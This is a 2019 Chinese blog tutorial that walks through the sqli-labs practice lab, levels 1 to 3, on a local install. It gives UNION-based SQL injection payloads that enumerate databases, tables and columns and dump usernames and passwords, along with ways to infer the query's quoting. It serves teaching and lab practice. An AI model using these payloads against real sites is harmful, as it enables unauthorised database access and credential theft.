SQL注入详解及技巧

Tip小技巧 :在白盒测试的过程中,在sql语句的下一句加上 echo $sql. '<br>'; 可以在页面中输出完整的sql语句

效果图   :

 

查询数据库信息:

以下用法均为:?id=1 and 1=2 union select 1,2,查询词

version()         当前使用的数据库版本

user()           当前使用数据库的用户

database()         当前使用的数据库名

@@version_compile_os     当前使用的数据库所在的操作系统版本

current_date           当前数据库的日期

 

less-1:


任意输入一个id进行测试: http://127.0.0.1/sqli-labs-master/Less-1/ ?id=1 

可以看到sql语句为 SELECT * FROM users WHERE id='1' LIMIT 0,1 

构造闭合语句 http://127.0.0.1/sqli-labs-master/Less-1/ ?id=1' %23 

 

测试字段数: http://127.0.0.1/sqli-labs-master/Less-1/ ?id=-1' order by 3 %23            得到字段数为3个字段

爆库: http://127.0.0.1/sqli-labs-master/Less-1/ ?id=-1' UNION SELECT 1,2,3 %23           得到可查询的字段数为2和3

查询数据库: http://127.0.0.1/sqli-labs-master/Less-1/ ?id=-1' UNION SELECT 1,2,database() %23    得到数据库为security

查询当前数据库下的所有表: http://127.0.0.1/sqli-labs-master/Less-1/ ?id=-1' UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23   (此处可以将database()更换为库名‘security’,但是必须得用两个单引号括起来)                 得到4个表emails,referers,uagents,users

查询表user下的列:

http://127.0.0.1/sqli-labs-master/Less-1/
?id=-1' UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and TABLE_SCHEMA='security' %23

 

得到3个列名:id,username和password

查字段信息: http://127.0.0.1/sqli-labs-master/Less-1/ ?id=-1' UNION SELECT 1,2,group_concat(id,username,password) from users %23 

上面的字段信息看起来有点复杂,其实就是下面的字段信息,目前还没找到好的办法分离,能力有限,有待改进,只能通过一个一个列查询,将其分离

 

经验小结:

在使用语句查询单的时候

1.UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata查询到的是该服务器的所有数据库的库名

2.UNION SELECT 1,2,table_name from information_schema. tables where table_schema=ox库名8进制 查询到的只是当前库默认的第一个表

3.UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='表名'查询到得到是所有数据库的所有列名,加上and TABLE_SCHEMA='当前数据库名'就可以查询当前库的当前表名

 

less1-4都可以使用上面的联合查询法

less-1

输入id=1正常,输入id=1'报错,输入id=1''正常 --> 即可判断sql语句为SELECT * FROM users WHERE id='$id'

less-2

id=1'报错,id=1''报错,id=1 and 1=2 不报错不回显 -->即可判断sql语句为SELECT * FROM user WHERE id=$id

 

less-3

id=1'报错,id=1''不报错,id=1') %23不报错  -->即可判断sql语句为SELECT * FROM users WHERE id=('$id')

 后面的用法都相同

posted @ 2019-08-02 10:12  X38072  阅读(673)  评论(0编辑  收藏  举报